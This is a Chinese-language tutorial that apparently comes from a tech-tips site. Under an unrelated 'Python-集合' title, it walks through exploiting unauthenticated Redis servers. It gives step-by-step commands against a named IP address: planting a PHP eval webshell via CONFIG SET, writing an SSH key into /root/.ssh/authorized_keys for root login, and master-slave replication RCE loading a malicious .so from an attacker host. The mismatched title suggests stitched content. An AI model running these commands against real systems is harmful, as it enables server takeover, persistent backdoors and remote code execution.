1. 程式人生 > 實用技巧 >Python-集合

Python-集合

redis環境搭建


下載有漏洞的redis版本
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

編譯檔案
make

進入src目錄,拷貝兩個啟動檔案到/usr/bin/,返回上一級並拷貝redis.conf到etc目錄
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
cp redis.conf /etc/

編輯/etc/redis.conf檔案取消本地IP訪問繫結,並關閉保護模式,允許遠端連線redis服務

使用redis-server /etc/redis.conf啟動redis服務

攻擊機直接下載redis拷貝檔案即可

漏洞利用


使用namp檢測遠端主機redis開放情況
nmap -A -p 6379 --script redis-info 94.191.84.130

直接嘗試登入redis
redis-cli -h 94.191.84.130
使用info檢視資訊

低許可權寫檔案(需要有增刪改查許可權)
設定備份目錄
CONFIG SET dir /tmp
設定檔名
CONFIG SET dbfilename webshell.php
向備份檔案中寫入一句話
CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"


儲存
save

利用"公私鑰"認證獲取root許可權,ssh免密登陸目標伺服器


  1. 生成公私鑰並匯出公鑰為txt格式
  2. 寫入公鑰到redis
  3. 連線目標redis服務
  4. 設定備份目錄為SSH公鑰存放路徑/root/.ssh
  5. 設定備份檔名
  6. 儲存備份(寫入公鑰)
  7. 免密ssh登陸

生成公私鑰
ssh-keygen -t rsa

匯出公鑰為txt格式
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

寫入redis快取
cat 1.txt | redis-cli -h 94.191.84.130 -x set crack



連線redis檢視並設定備份目錄
redis-cli -h 94.191.84.130
CONFIG GET dir
CONFIG SET dir /root/.ssh

設定備份檔名並儲存備份檔案
CONFIG set dbfilename authorized_keys
save

使用私鑰免密登陸ssh
ssh -i id_rsa [email protected]

Redis 基於主從複製的 RCE 利用方式


1 . 連線遠端未授權redis伺服器
2 .設定主伺服器為自己伺服器
3.Redis的主機例項通過FULLRESYNC(全量複製)同步檔案到從機上
4.然後在從機上載入so檔案
5.直接執行惡意命令
先本地開啟一個redis>4.0的版本,然後執行
python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so